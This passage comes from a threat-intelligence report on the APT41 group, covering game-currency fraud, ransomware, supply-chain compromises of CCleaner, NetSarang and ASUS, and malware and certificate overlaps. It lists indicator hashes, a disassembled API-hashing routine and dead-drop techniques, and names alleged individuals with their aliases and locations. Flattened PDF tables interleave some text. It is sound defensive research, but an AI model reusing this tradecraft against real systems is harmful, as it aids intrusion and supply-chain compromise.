The serial number for this certificate was: APT41 has blatantly engaged in financially motivated activity targeting the video game industry, including manipulating virtual currencies.
These activities demonstrate established connections to underground marketplaces and familiarity with monetization and laundering techniques.
Using its access to a game production environment, in less than three hours the group generated tens of millions of dollars of a popular games virtual currency.
The money was credited to more than 1,000 accounts and most likely sold and laundered in underground markets.
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases.
In a highly unusual case, APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware.
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game, so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise.
This ransomware was sold via a Ransomware-as- a-Service (RaaS) operation that was available via a Tor (.onion) website.
Users of the ransomware were charged a 20 percent fee for any collected ransom.
Since this was not the groups typical method of choice for collecting money from a victim environment, it is possible that APT41 turned to a pay- for-service ransomware to avoid having to develop such a tool or set up the associated payment and infrastructure associated with collecting the ransom.
APT41 attempted to deploy the ransomware through a group policy (GPO) scheduled task.
However, the malware was unsuccessfully deployed because of a simple typo.
Figure 7 shows the ransom note associated with Encryptor RaaS, which contains default messages in both English and German (the instruction links have been redacted).
Given that this is the default message, the languages in the note should not be considered when determining actor origin or location.
20       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Third-Party Access In multiple instances, APT41 targeted third parties and leveraged this access to target additional victims.
APT41s exploitation of third parties varied.
In some instances, APT41 moved laterally from one victim environment to another in order to initiate compromise.
APT41 has also used credentials compromised in previous operations.
In 2014, APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.
The payment service was likely targeted because it provided access to multiple gaming companies.
Although we do not have first-hand evidence of APT41s compromise of TeamViewer, we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations.
During a 2017 compromise, APT41 initiated a TeamViewer session and transferred files that were later deleted.
Filenames and creation times indicate that these may have been the HIGHNOON backdoor.
According to statements by a TeamViewers spokesperson, the company was targeted in fall 2016.
The company stated that they conducted a comprehensive security audit of its IT architecture and added additional security measures to help strengthen its security posture.
https://securityaffairs.co/wordpress/85733/hacking/teamviewer-2016-hack.html SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       21 History of Supply Chain Compromises Supply chain compromises are most likely an extension of APT41s tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers.
Public reports of supply chain compromises linked to APT41 date back to at least 2014, and technical evidence associated with these incidents was used to determine a relationship, if any, with APT41.
Our assessment in each of these cases is noted in Table 1.
As demonstrated in operations targeting the video game industry, APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files.
The files are signed with valid code-signing certificates and distributed widely to end users.
Supply chain targeting requires more effort than typically observed mass targeting methods, such as establishing a strategic web compromise (SWC) or conducting large spear-phishing campaigns.
Although APT41 supply chain compromises affect very large numbers of victims, the group limits follow-on activity to select victims most likely to reduce detection and ensure any additional malware is delivered only to intended victims.
Counterintuitively, supply chain operations add an additional layer of obscurity to the groups operations because it is difficult to pinpoint the desired target set.
In a June 2018 supply chain compromise, APT41 leveraged MAC addresses and C:\ drive volume serial numbers to identify specifically targeted victims for follow-on activity.
This significantly obfuscates the targeted sector or victim set in a typical spear-phishing campaign, for example, desired targeting can be discerned based on recipients email addresses.
Table 1.
Supply chain compromises.
Date Compromised Entities FireEye Attribution Assessment December 2014 Online games distributed by a Southeast Asian video game distributor Path of Exile League of Legends FIFA Online 3 Possibly APT41 or a close affiliate March 2017 CCleaner Utility Unconfirmed APT41 July 2017 Netsarang software packages (aka ShadowPad) Confirmed APT41 June 2018 - November 2018 ASUS Live Update utility (aka ShadowHammer) Stage 1 unconfirmed APT41 Reported Stage 2 confirmed APT41 July 2018 Southeast Asian video game distributor Infestation PointBlank Confirmed APT41 22       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION December 2014 In December 2014, installers for three online games published by a Southeast Asian video game distributor were injected with the SOGU backdoor.
The installer for these popular games was replaced by a malicious file that dropped the SOGU backdoor along with the normal game installer.
The video game distributor operates servers in East and Southeast Asia for some of the most popular online games, including the three games that were compromised: Path of Exile, League of Legends, and FIFA Online 3 (Table 2).
We have observed many similarities between TTPs involved in this compromise and APT41, including: Targeting the same victim organization 31 days apart Use of code-signing certificates from the same video game-related issuer organizations Table 2.
2014 compromised games.
Game File MD5 Malware CC Use of the same malware families (HIGHNOON.BIN, HIGHNOON.LITE, EASYNIGHT, FRONTWHEEL) Use of HIGHNOON.BIN samples with the same compile times Overlap in domain resolution to the same IP netblock (61.38.186.0/24) during the same time frame in 2012 Video game-related supply chain targeting Despite these compelling overlaps, the actors responsible for this compromise leverage additional unique tools not observed with APT41 or any other Chinese espionage group, suggesting that they are either part of APT41 and maintain their own toolset, or a close affiliate of APT41 that shares both tools and taskings.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       23 In March 2017, suspected Chinese espionage operators targeted CCleaner, a utility that assists in the removal of unwanted files from a computer.
According to the parent company, Avast, the infected CCleaner was downloaded by 2.27 million customers.
While we have identified some overlaps between the CCleaner activity and APT41, we do not have enough information to attribute the CCleaner compromise to APT41 at this time.
Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise.
According to Avast, the actors used TeamViewer to compromise a developer workstation and used VBScript (x64.vbs) to drop a malicious payload.
The compromised CCleaner update (which we call DIRTCLEANER) is believed to download a second-stage loader (MD5: 748aa5fcfa2af451c76039faf6a8684d) that contains a 32-bit and 64-bit COLDJAVA DLL payload.
The COLDJAVA payload contains shellcode that loads a variant of BLACKCOFFEE (Figure 8).
While COLDJAVA has been used by APT41, BLACKCOFFEE has been used by other Chinese cyber espionage groups, including APT17 and APT40.
It is possible that COLDJAVA may also be shared between distinct cyber espionage operators.
Malware samples identified in the CCleaner incident included notable shared design decisions observed in APT41 malware, including the use of domain generation Table 3.
BLACKCOFFEE DDR websites.
File MD5 Legitimate DDR Websites Used for CC 3ca2a13f646690481 dc15d78bac6d829 Figure 8: Malware downloaded by DIRTCLEANER.
DIRTCLEANER COLDJAVA BLACKCOFFEE algorithms (DGA) for CC, use of dead drop resolvers (DDR), and use of shellcode as primary payloads.
However, FireEye malware analysis of the compromised CCleaner samples and associated COLDJAVA samples did not reveal shared code with the POISONPLUG and POISONPLUG.SHADOW malware samples used in similar supply chain incidents by APT41.
DIRTCLEANER uses DGA to generate new CC domains each month.
This is similar to first-stage malware used in the Netsarang compromise described below.
The BLACKCOFFEE sample reaches out to actor- controlled profiles hosted on legitimate websites to retrieve encoded commands for CC, a technique known as DDR.
The malware parses the content of the websites (listed in Table 3), looking for 12 bytes contained between the tags: BSM1cr0S0ft and SBM1cr0Soft.
APT41 POISONPLUG samples have also used DDR for CC.
The POISONPLUG and POISONPLUG.SHADOW samples in similar supply chain incidents use a shellcode format that resembles PE files, while the BLACKCOFFEE backdoor that was delivered in the CCleaner compromise uses a traditional PIC blob.
Additionally, there is apparent code reuse between observed POISONPLUG and POISONPLUG samples not observed in the CCleaner samples.
March 2017 https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer https://www.fireeye.com/blog/threat-research/2015/05/hiding_in_plain_sigh.html https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf 24       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION In July 2017, APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky.
The software package is reportedly used by hundreds of companies worldwide.
We observed numerous opportunistic infections associated with POISONPLUG.SHADOW spanning 13 countries and a variety of industries, demonstrating the broad impact of this operation.
However, we have not observed the associated second-stage at any victim organizations.
Open-source reporting indicated one victim was identified in Hong Kong.
Signing the malicious update with a legitimate NetSarang certificate is consistent with APT41s pattern of using legitimate certificates.
In this case, all updates were required to be signed by Netsarang, which means APT41 had to use the code-signing certificate to subvert the update mechanism.
Alternatively, it is also possible that APT41 injected malicious code into the package prior to compilation, circumventing the need to steal the code-signing certificate and compile it on their own.
The first stage of the malware uses DGA, which changes its CC servers monthly.
The use of shifting network infrastructure is most likely intended to add operational robustness and to reduce detection.
The second-stage shellcode is initialized only after it is activated using a decryption key retrieved from the first-stage DNS communications.
This likely allows APT41 to selectively activate the payload on specific victim systems.
The second-stage payload contains the default CC server, notped.com, which overlaps with other APT41 CC infrastructure.
Other reported APT41 domains that may also be related to the second-stage payload can be found in Table 4.
Table 4.
Reported APT41 domains associated with POISONPLUG.SHADOW.
Domain Associated Malware Family July 2017 https://securelist.com/shadowpad-in-corporate-networks/81432/ SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       25 In June 2018, a utility used to update ASUS computers was compromised in an operation dubbed ShadowHammer by Kaspersky.
Open-source reporting indicated that more than 50,000 systems installed the malicious update, yet the malware was only designed to execute and retrieve second-stage malware on a designated list of approximately 600 systems, demonstrating this was a targeted campaign.
Public reporting on the incident noted that many of the targeted MAC addresses were associated with wireless adapters from various vendors, partially indicating the operations targeting strategy.
Although we have limited visibility into the intended targets of this operation, we observed one of the whitelisted MAC addresses on a system at a telecom company.
Kasperskys analysis of the infected machines revealed that a POISONPLUG backdoor was installed as a result of the malicious update.
While we have been unable to attribute the DAYJOB malware used in the incident to APT41 due to an inability to independently confirm this sequence of events, we confirm the reported stage- two POISONPLUG backdoor is attributed to APT41, contained several gaming references, and was likely used to target the gaming industry.
The POISONPLUG sample (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) attempts to connect to a Google document that was created under the same name and email address (Tom Giardino and ) that was used to target the cryptocurrency organization.
It also attempts to connect to a Steam community page (Table 5).
The POISONPLUG payload uses DDR and parses the Google document for a CC command.
The Steam community page is likely used as a fallback mechanism.
FireEye malware analysis of the POISONPLUG sample indicates the malware is likely designed to run only one system with a C: drive volume serial number of 0xc25cff4c.
Additional POISONPLUG samples located in Table 6 also leverage Google Document and Steam Community Pages for CC.
Table 5.
ShadowHammer stage-two POISONPLUG sample.
File MD5 CC Domain 37e100dd8b2ad8b301b130c2bca3f1ea Table 6.
POISONPLUG samples leveraging dead drop resolving.
File MD5 CC Domain 557ff68798c71652db8a85596a4bab72 ff8d92dfbcda572ef97c142017eec658 b0877494d36fab1f9f4219c3defbfb19 ffd0f34739c1568797891b9961111464 June 2018 https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/ https://www.kaspersky.com/blog/shadow-hammer-teaser/26149/ https://www.zdnet.com/article/researchers-publish-list-of-mac-addresses-targeted-in-asus-hack/ 26       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Beginning in July 2018, APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor.
Like other high-profile supply chain compromises attributed to APT41, these incidents included the incorporation of malicious code into legitimate executables and the signing of these files using legitimate digital certificates from the same compromised organization.
APT41 used a CC domain that masquerades as Xigncode, , in the compromise of the video game PointBlank.
Ironically, Xigncode is a service intended to prevent hacking and cheating in online games.
We attribute these compromises (also reported by both ESET and Kaspersky) to APT41 based on the unique use of the CRACKSHOT backdoor and tactics consistent with APT41 operations.
A list of related indicators is in Table 7.
Table 7.
Video games industry targeting in July 2018.
Targeted Game / Platform MD5 Hashes Malware CC Domain Southeast Asian video game platform 04fb0ccf3ef309b1cd587f609ab0e81e CRACKSHOT Infestation game fcfab508663d9ce519b51f767e902806 CRACKSHOT PointBlank game 0b2e07205245697a749e422238f9f785 272537bbd2a8e2a2c3938dc31f0d2461 dd792f9185860e1464b4346254b2101b CRACKSHOT July 2018 https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/ https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/ SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       27 Overlaps Between Espionage and Financial Operations Identified overlaps across various incidents attributed to APT41 demonstrate the groups dual nature.
Figure 9 and Figure 10 illustrate crossover between espionage and financially motivated activity, as well as technical similarities in tools used across both types of operations.
The email address  was used to send spear-phishing emails to a Taiwanese newspaper with the subject lure I have a little surprise for you :) in an espionage campaign in August 2016 (Figure 9).
The same email address was later used to target a cryptocurrency exchange in June 2018, demonstrating email reuse between espionage operations and financially motivated activity.
The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform, tying the cryptocurrency targeting to APT41s focus on video game-related targeting.
As depicted in Figure 10, hrsimon59gmail.
com was used to create a Google document being used as a POISONPLUG (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) CC.
As previously mentioned, this sample also connected to a Steam page.
Figure 9: Email overlaps between espionage and financial activity.
Cyber Espionage Phishing email to Taiwanese newspaper Subject: I have a little surprise for you :) ATTACHMENT Documents.7z 8c6cceae2eea92deb6f7632f949293f0 Probable Financial Motivation Phishing email to European bitcoin exchange Subject:  (FairWin) Invitation to join a decentralized gambling platform ATTACHMENT FairWin.chm 223e4cc4cf5ce049f300671697a17a01 JUNE 2018AUGUST 2016 28 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION SH A RED CODE Figure 10: Malware overlaps across supply chain compromises.
1 Telecom Victim Stage 2 shellcode loader 72584d6b7dd10c82d9118567b548b2b1 CC CC STAGE 2 activated at Identified at 1 unknown victim in Hong Kong Stage 1 shellcode loader a6c7db170bc7a4ee2cdb192247b59cd6 POISONPLUG Stage 1 Loader 830a09ff05eac9a5f42897ba5176a36a ASUS SUPPLY CHAIN (AKA SHADOWHAMMER) NETSARANG SUPPLY CHAIN (AKA SHADOWPAD) COMPROMISE OF A U.S. COMPANY POISONPLUG 37e100dd8b2ad8b301b130c2bca3f1ea POISONPLUG.SHADOW Trojanized Sotware Package (DLL Loader) 97363d50a279492fda14cbab53429e75 100s of victims Compromise of a U.S. Video Game Company JULY 2017MAY 2016 DAYJOB Trojanized ASUS Update Utility 0f49621b06f2cdaac8850c6e9581a594 50K victims JUNENOV 2018 Confirmed Connection Speculated Connection Unconfirmed Confirmed Video Game Related Google Document Author SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       29 FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018.
In May 2016, APT41 deployed a POISONPLUG sample at a U.S.-based game development studio.
The stage-one loader for this sample (MD5: 830a09ff05eac9a5f42897ba5176a36a) shares code overlaps with the stage-one shellcode loader (MD5: a6c7db170bc7a4ee2cdb192247b59cd6) used in the Netsarang compromise, first reported by Kaspersky as ShadowPad.
These connections, illustrated in Figure 10, led us to identify the malware used in the Netsarang incident as a variant of POISONPLUG (therefore: POISONPLUG.SHADOW).
The POISONPLUG and POISONPLUG.SHADOW variants share the observed commonalities: The entrypoint functions for both loaders use the same instructions, constants, and structures to pass control to loading routines.
The layout of functions and data within the loaders are the same for example, following the entrypoint, both loaders contain an unusual region of structured data 0x60 bytes long.
Both loaders use the same API hashing algorithm to resolve routines from system libraries (Figure 11 and Figure 12).
The routine uses byte-wise operations to compute a hash, including byte-wise rotate-right by eight bits, byte-wise binary, OR with 0x20, and byte-wise XOR using the four-byte key 0x7C35D9A3.
Using this routine, the hash for kernel32.dll, a common DLL provided by Microsoft Windows, is 0xFD5B1261.
FireEye analysis of a separate POISONPLUG payload (MD5: c8403fabda4d036a55d0353520e765c9) compiled in July 2017 and the POISONPLUG.
SHADOW stage-two shellcode loader (MD5: 72584d6b7dd10c82d9118567b548b2b1) identified multiple additional plug-in similarities.
Core plug-in IDs between the samples are the same, including 100, 101, 102, 103, 104, and 201.
Core plug-in names are the same including Plugins, Online, Config, Install, and HTTP.
CC plug-in IDs and names between both samples are the same, including 200/TCP, 201/HTTP, 202/UDP, 203/DNS, 204/HTTPS, and 205/SSL.
Both samples parse the CC response by searching for  characters and decoding the result.
Figure 11: POISONPLUG API hashing (MD5: 830a09ff05eac9a5 f42897ba5176a36a).
seg000:00010246 movzx edi, byte ptr [eax] seg000:00010249 ror esi, 8 seg000:0001024C or edi, 20h seg000:0001024F add esi, edi seg000:00010251 add eax, 2 seg000:00010254 xor esi, 7C35D9A3H seg000:0001025A cmp [eax], dx seg000:0001025D jnz short loc_10246 seg000:0001025F cmp esi, 0FD5B1261h Figure 12: POISONPLUG.
SHADOW API hashing (MD5: a6c7db170bc7a4 ee2cdb192247b5 9cd6).
g000:0000F55C 0F B6 0E movzx ecx, byte ptr [esi] g000:0000F55F 8B 45 F4 mov eax, [ebp-0Ch] g000:0000F562 C1 C8 08 ror eax, 8 g000:0000F565 83 C9 20 or ecx, 20h g000:0000F568 03 C1 add eax, ecx g000:0000F56A 35 A3 D9 35 7C xor eax, 7C35D9A3H g000:0000F56F 83 C6 02 add esi, 2 g000:0000F572 89 45 F4 mov [ebp-0Ch], eax g000:0000F575 66 39 3E cmp [esi], di g000:0000F578 75 DD jnz short loc_F557 g000:0000F57A 3D 61 12 5B FD cmp eax, 0FD5B1261h 30       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Attribution We assess with high confidence that APT41 is attributable to Chinese individuals who are working on behalf of the Chinese state in conducting cyber espionage operations, and that these actors are also running financially motivated campaigns for personal gain.
Two identified personas using the monikers Zhang Xuguang and Wolfzhi linked to APT41s operations have also been identified in Chinese-language forums.
Attribution to these individuals is backed by identified persona information, the previous work of these individuals, their apparent expertise in programming skills, and their targeting of Chinese market-specific games.
It is uncertain how many other individuals may also be associated with APT41.
Multiple domains leveraged by early APT41 activity were registered by emails and names associated with both Zhang Xuguang and Wolfzhi (or their alternative monikers).
Registrant information also included references to Beijing and Chinese phone numbers (86 country code).
Zhang Xuguang () registered more than a dozen domains masquerading as video games or companies with trusted relationships with video game developers/ distributors.
Long-running activity provides a catalog of Zhangs efforts to improve his skills and expertise over time.
Additional names include: kbkxlp, akbkxlp, injuriesa, ravinder10, Addison Lau, and addison jack Associated email addresses:             Examples of domains registered to known aliases (some of these may have since been re-registered legitimately):   In 2005, Zhang posted personal information on (Chinese Hackers Alliance), a popular Chinese online forum, that listed his date of birth as 1989, that he previously lived in Inner Mongolia, and that he specialized in script hacking (Figure 13).
Zhangs profile indicated he was 16, going on 17, and he was applying to be the administrator of a script hacking forum.
Spoofed domains most likely targeted players of games such as Age of Wuxia, a massively multiplayer online role-playing game (MMORPG) themed on cultural references to dynastic China.
Zhang Xugangs interest in these games is also apparent in his registration and posting on a forum dedicated to the Age of Wuxia (Figure 14).
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       31 Figure 13: Screenshot of Zhangs profile, with Zhang Xuguang highlighted in orange.
Figure 14: Zhang posting to Age of Wuxia forum, with his alias injuriesa highlighted in yellow.
32       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Wolfzhi is linked to a 2017 profile on a data science community page, which indicated that he had 10 years working experience at the time of the posting, with significant experience in Oracle and Python.
Other documents linked to his email accounts also highlight his programming skills and database experience.
Additional aliases include: wolf_zhi, wolfjiao, jiaozhiq, and jiaozhiqiang Examples of domains registered under the wolf_zhi alias:    Posts in a forum provide some indication he is from Beijing or Hebei, the surrounding Chinese province.
This is also consistent with information found in early domain registrations created by Wolfzhi (Figure 15).
Figure 15: Domain registration by Wolfzhi.
Additional indicators of Chinese attribution include: the reliance on malware used exclusively by Chinese espionage operators, the use of Chinese-language strings, time zone and operational time analysis, and targeting consistent with Beijings interests.
The use of tools leveraged only by several other Chinese operators such as HOMEUNIX and HIGHNOON provides some indication that APT41 relies on the similar resources and support as these other Chinese groups.
APT41 also leverages PHOTO (aka Derusbi) and SOGU (aka Destroy RAT and PlugX), tools shared much more widely among Chinese espionage groups.
See the section Links to Other Known Chinese Operators for more details.
An APT41 HIGHNOON sample (MD5: 36711896cfeb67f599305b590f195aec) from 2012 contained a process debugging path (.pdb) with the Chinese-language directory D:\\, which translates to D:\Desktop\trojan.
Compiled HTML (.chm) files used in targeting contained a language code set to Chinese (Simplified) despite the lure content being in the target regions language (English or otherwise).
Compile and operational times of APT41 activity suggest the bulk of the groups work hours, 10:00 and 23:00 (UTC 8), are consistent with the Chinese workday, especially for tech sector employees on a 996 schedule.
Figure 4 shows a breakdown of all of the operational activity within victim environments, separated between gaming and espionage (non-gaming) activity.
Analysis of the times where APT41 modified or accessed a file within a victim environment, shows a concentration between 10:00 and 18:00 (UTC8).
Targeting of healthcare, semiconductors, and telecoms is consistent with Chinese state interests and parallels activity from other Chinese espionage groups.
Domain: Registrant Wolfzhi Wolfzhi ( ) beijingxxxdaxia beijing beijing, 100000 US Tel.
86.2011111111 Creation Date:  2011-08-23  15:23:29 Expiration Date:  2011-08-23  15:23:29 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       33 Figure 16: Ocean injection tool posted by Zhang.
Status as Potential Contractors We assess with moderate confidence that APT41 is constituted of contractors tasked by the Chinese state to conduct espionage operations.
Individuals attributed to the group have previously indicated that they could be hired and advertised their skills and services.
APT41s use of the same malware in both financial- and espionage-related operations could support their status as contractors state employees are less likely to use such tools for personal financial gain over multiple years given the potential for greater scrutiny or punishment.
APT41 cyber crime activity includes the use of espionage-only malware, indicating two possible conclusions: either APT41 is operating outside of state control but still working with other Chinese APT malware actors, tools, and infrastructure on a part- time or contractual basis, or APT41 is a full-time, state- sponsored APT actor but is also working outside of state control or direction for supplemental income.
Tools used by APT41 in financially motivated operations include the use of HOMEUNIX and PHOTO, which are non-public malware used only by other Chinese espionage actors.
A loose time separation between espionage and cyber crime activities provides some indication that the group divides its work hours between both types of operations.
For additional details, see Figure 4 and the previous section Financially Motivated Activity.
Public reports on Chinese hackers highlight that skilled actors opt to work for private sector entities that have government contracts because of better pay.
Underground activity dating back to 2009 indicated that Zhang Xuguang is a hacker for hire.
Zhang advertised on forums that he was available for professional penetration and hacking services.
Zhang listed his online hours from 4:00 p.m.  6:00 a.m., which are similar to the operational times observed at gaming targets displayed in Figure 4.
He was also observed sharing an injection tool named Ocean hysi (hysi) to demonstrate his skills, as displayed in Figure 16.
China has previously relied on contractors to bolster state resources dedicated to cyber espionage activity.
Increased integration between government units and civilian entities, including contractors and freelancers, is believed to be a key feature of Chinese cyber policy.
According to indictments unsealed by the U.S. Department of Justice (USDOJ) in December 2018, APT10 was operated by contractors working for the Chinas Ministry of State Security (MSS).
In a USDOJ indictment unsealed in November 2017, individual contractors responsible for APT3 were found to be working for an MSS front company.
https://www.nytimes.com/2013/05/23/world/asia/in-china-hacking-has-widespread-acceptance.html https://thediplomat.com/2018/03/chinas-cyber-militias https://thediplomat.com/2018/03/chinas-cyber-militias 34       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Links to Other Known Chinese Espionage Operators APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators.
Initial reports about HIGHNOON and its variants (reported publicly as Winnti) dating back to at least 2013 indicated the tool was exclusive to a single group, contributing to significant conflation across multiple distinct espionage operations.
APT41 overlaps at least partially with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).
In some cases, the primary observed similarity in the publicly reported Winnti activity was the use of the same malware including HIGHNOONacross otherwise separate clusters of activity.
Previous FireEye Threat Intelligence reporting on the use of HIGHNOON and related activity was grouped together under both GREF and Mana, although we now understand this to be the work of several Chinese cyber espionage groups that share tools and digital certificates.
APT41 reflects our current understanding of what was previously reported as GREF, as well as additional indicators and activity gathered during our extensive review of our intelligence holdings.
https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ https://securelist.com/winnti-more-than-just-a-game/37029/ https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/ https://www.clearskysec.com/winnti/ 35SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Certificate Overlap A digital certificate issued by YNK Japan that was publicly reported as being used by Winnti has been used by multiple Chinese espionage operators, including APT17, and APT20, and APT41.
Issuer: CNVeriSign Class 3 Code Signing 2009-2 CA Subject: CNYNK JAPAN Inc Serial Number: 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d Issue-Date: 11/27/09 , Expiration-Date: 11/27/11 Issuer: CNMicrosoft Certificate Authority Subject: CNMicrosoft Certificate Authority Serial Number: (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Issue-Date: 12/31/2009, Expiration-Date: 12/30/2035 A self-signed digital certificate purporting to be from the Microsoft Certificate Authority has been used by both APT41 and APT40 to sign samples of the PHOTO backdoor.
The overlaps in groups observed using these certificates is illustrated in Table 8.
Table 8.
Example of shared certificates between APT groups.
Serial Number Subject APT17 APT20 APT40 APT41 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d YNK JAPAN Inc X X X (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Microsoft Certificate Authority X X 36       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Launcher Overlap Code Family Overlap The use of DLL side-loading has been a source of continued confusion when used as an indicator for distinct operations.
This technique uses a legitimate and often digitally signed executable to essentially trick a system into launching a malicious DLL because it has been given the same name as a legitimate DLL normally loaded by the executable.
The use of a valid and digitally signed A significant number of non-public tools used by APT41 are shared with other distinct Chinese espionage operators.
Source code overlaps between observed code families indicate potential access to shared code repositories or common developers between groups.
APT41 has used several malware families that have also been used by other Chinese espionage operators, including variants of HIGHNOON, HOMEUNIX, PHOTO, SOGU, and ZXSHELL, among others.
Table 10 illustrates some of overlap between malware families used by APT41 and other APT groups.
Note that this is only for illustration purposes and is not indicative of all observed malware families used by these APT groups or all groups that have used those families.
executable allows actors to bypass host-based security measures.
For this reason, it continues to be popular mechanism used by multiple groups.
This also explains why the use of these DLL filenames is not a unique indicator for distinct APT operators.
Table 9 contains legitimate executables used by APT41 and selected other Chinese cyber espionage groups for DLL side-loading: Table 9.
Legitimate files used by different APT groups for DLL side-loading.
File MD5 Hash Filename APT9 APT10 APT20 APT41 09b8b54f78a10c435cd319070aa13c28 nvSmartEx.exe X X X X 26a196afc8e6aff6fc6c46734bf228cb form.exe X X HIGHNOON, one of the main code families observed being used by APT41, was also used by APT17 in 2015 to target semiconductor and chemical manufacturers.
HOMEUNIX, another popular backdoor used by APT41, has been used by at least 14 separate Chinese espionage groups, including APT1, APT10, APT17, APT18, and APT20.
JUMPALL is a dropper that has been observed dropping variants of the HIGHNOON, ZXSHELL, and SOGU code families attributed to APT17 and APT41.
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       37 Table 11.
CLASSFON sample with internal name DrvDll.dll and contains reference to PlusDll.dll.
File MD5 Hash Malware Internal Filename Device Driver Name 9e1a54d3dc889a7f0e56753c0486fd0f CLASSFON DrvDll.dll PlusDll.dll Table 12.
APT41 HIGHNOON.BIN samples that reference PlusDll.
Dll.
File MD5 Hash Malware Process Debugging Path 36711896cfeb67f599305b590f195aec HIGHNOON.BIN D:\\\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb Table 10.
Code family overlap among different Chinese espionage groups.
Malware APT1 APT3 APT10 APT17 APT18 APT19 APT40 APT41 BLACKCOFFEE X X X CHINACHOP X X X COLDJAVA X HIGHNOON X X HIGHNOON.BIN X X HIGHNOON.LITE X HOMEUNIX X X X X X JUMPALL X X PHOTO X X X X X SOGU X X X X X X ZXSHELL X X X X APT41 has not only shared the same tools with other Chinese espionage operators but also appears to have access to shared source code or developers as well.
APT41 has used CROSSWALK.BIN, a kernel driver, to circumvent firewalls and covertly send data.
Another Chinese espionage group used a similar tool, CLASSFON, to covertly proxy network communications in 2011.
CLASSFON (MD5: 9e1a54d3dc889a7f0e56753c0486fd0f) has an internal name of DrvDll.dll and an embedded device driver that is internally named PlusDll.dll (Table 11).
The PlusDll.dll filename has also been identified in APT41 HIGHNOON.BIN samples (Table 12).
PDB paths identified in related APT41 HIGHNOON.
BIN samples contain the name RBDoor, which has also been identified in samples of HIGHNOON, HIGHNOON.LITE, HIGHNOON.CLI, and GEARSHIFT (Figure 17).
APT41 files containing PDB paths referencing RBDoor are listed in Table 13.
At least two of these malware families, HIGHNOON.CLI and GEARSHIFT, have been used by APT17 and another suspected Chinese espionage group.
Further information regarding code family overlaps between variants can be found in Technical Annex: Additional Malware Overlaps.
38       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 17: PDB paths containing RBDoor.
